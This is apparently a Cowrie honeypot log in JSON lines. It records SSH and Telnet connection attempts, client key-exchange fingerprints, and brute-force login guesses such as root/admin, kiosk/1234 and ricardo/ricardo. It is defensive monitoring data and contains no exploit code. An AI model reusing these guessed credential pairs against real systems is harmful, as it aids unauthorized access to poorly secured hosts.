{"eventid":"cowrie.session.connect","src_ip":"101.36.123.173","src_port":59256,"dst_ip":"10.17.0.5","dst_port":22,"session":"ba63e0776fa2","protocol":"ssh","message":"New connection: 101.36.123.173:59256 (10.17.0.5:22) [session: ba63e0776fa2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:28:24.769294Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:28:24.772831Z","src_ip":"101.36.123.173","session":"ba63e0776fa2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:28:24.990041Z","src_ip":"101.36.123.173","session":"ba63e0776fa2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ashish","password":"ashish","message":"login attempt [ashish/ashish] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:28:25.890893Z","src_ip":"101.36.123.173","session":"ba63e0776fa2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:28:27.109607Z","src_ip":"101.36.123.173","session":"ba63e0776fa2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.79.127.249","src_port":59974,"dst_ip":"159.203.135.109","dst_port":22,"session":"1d47e48d303e","protocol":"ssh","message":"New connection: 45.79.127.249:59974 (159.203.135.109:22) [session: 1d47e48d303e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:28:44.756654Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:28:44.761259Z","src_ip":"45.79.127.249","session":"1d47e48d303e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:28:44.945024Z","src_ip":"45.79.127.249","session":"1d47e48d303e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.106.133.202","src_port":9664,"dst_ip":"159.203.135.109","dst_port":22,"session":"012e3f4a520d","protocol":"ssh","message":"New connection: 211.106.133.202:9664 (159.203.135.109:22) [session: 012e3f4a520d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:28:45.003340Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:28:45.007526Z","src_ip":"211.106.133.202","session":"012e3f4a520d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:28:45.223513Z","src_ip":"211.106.133.202","session":"012e3f4a520d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ricardo","password":"ricardo","message":"login attempt [ricardo/ricardo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:28:45.314822Z","src_ip":"45.79.127.249","session":"1d47e48d303e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"interview","password":"12345678","message":"login attempt [interview/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:28:46.096822Z","src_ip":"211.106.133.202","session":"012e3f4a520d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:28:46.499957Z","src_ip":"45.79.127.249","session":"1d47e48d303e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:28:47.311153Z","src_ip":"211.106.133.202","session":"012e3f4a520d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.79.191.18","src_port":59636,"dst_ip":"10.17.0.5","dst_port":22,"session":"591f20a1a15c","protocol":"ssh","message":"New connection: 210.79.191.18:59636 (10.17.0.5:22) [session: 591f20a1a15c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:29:03.775025Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:29:03.778702Z","src_ip":"210.79.191.18","session":"591f20a1a15c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:29:04.019197Z","src_ip":"210.79.191.18","session":"591f20a1a15c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"uftp","password":"Uftp123","message":"login attempt [uftp/Uftp123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:29:05.049414Z","src_ip":"210.79.191.18","session":"591f20a1a15c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:29:06.292789Z","src_ip":"210.79.191.18","session":"591f20a1a15c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.205.155","src_port":57742,"dst_ip":"10.17.0.5","dst_port":22,"session":"d640ada8c987","protocol":"ssh","message":"New connection: 207.180.205.155:57742 (10.17.0.5:22) [session: d640ada8c987]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:29:07.649785Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:29:07.654221Z","src_ip":"207.180.205.155","session":"d640ada8c987","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:29:07.753312Z","src_ip":"207.180.205.155","session":"d640ada8c987","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frontend","password":"123","message":"login attempt [frontend/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:29:08.153672Z","src_ip":"207.180.205.155","session":"d640ada8c987","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:29:09.260983Z","src_ip":"207.180.205.155","session":"d640ada8c987","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.59.94.61","src_port":54240,"dst_ip":"159.203.135.109","dst_port":22,"session":"04d89c53d136","protocol":"ssh","message":"New connection: 103.59.94.61:54240 (159.203.135.109:22) [session: 04d89c53d136]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:29:22.244358Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:29:22.248711Z","src_ip":"103.59.94.61","session":"04d89c53d136","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:29:22.499889Z","src_ip":"103.59.94.61","session":"04d89c53d136","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kiosk","password":"1234","message":"login attempt [kiosk/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:29:23.534775Z","src_ip":"103.59.94.61","session":"04d89c53d136","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:29:24.785037Z","src_ip":"103.59.94.61","session":"04d89c53d136","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.218.133.194","src_port":49618,"dst_ip":"10.17.0.5","dst_port":23,"session":"a67c92b3abc9","protocol":"telnet","message":"New connection: 81.218.133.194:49618 (10.17.0.5:23) [session: a67c92b3abc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:29:50.812003Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":45646,"dst_ip":"10.17.0.5","dst_port":22,"session":"cc7910ce800f","protocol":"ssh","message":"New connection: 2.57.122.208:45646 (10.17.0.5:22) [session: cc7910ce800f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:29:53.566679Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:29:53.571897Z","src_ip":"2.57.122.208","session":"cc7910ce800f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:29:53.723534Z","src_ip":"2.57.122.208","session":"cc7910ce800f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123","message":"login attempt [sol/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:29:54.276433Z","src_ip":"2.57.122.208","session":"cc7910ce800f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:29:55.407023Z","src_ip":"2.57.122.208","session":"cc7910ce800f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.567774057388306,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:30:03.379695Z","src_ip":"81.218.133.194","session":"a67c92b3abc9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.151.178.13","src_port":42798,"dst_ip":"10.17.0.5","dst_port":23,"session":"9943952f11d9","protocol":"telnet","message":"New connection: 46.151.178.13:42798 (10.17.0.5:23) [session: 9943952f11d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:30:15.582968Z"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:30:15.755232Z","src_ip":"46.151.178.13","session":"9943952f11d9","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:30:15.812087Z","src_ip":"46.151.178.13","session":"9943952f11d9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.232.73.84","src_port":39140,"dst_ip":"159.203.135.109","dst_port":22,"session":"183adaabe6d9","protocol":"ssh","message":"New connection: 45.232.73.84:39140 (159.203.135.109:22) [session: 183adaabe6d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:30:26.121817Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:30:26.126321Z","src_ip":"45.232.73.84","session":"183adaabe6d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:30:26.254494Z","src_ip":"45.232.73.84","session":"183adaabe6d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sim","password":"sim123!","message":"login attempt [sim/sim123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:30:26.796369Z","src_ip":"45.232.73.84","session":"183adaabe6d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:30:27.931720Z","src_ip":"45.232.73.84","session":"183adaabe6d9","protocol":"ssh"}
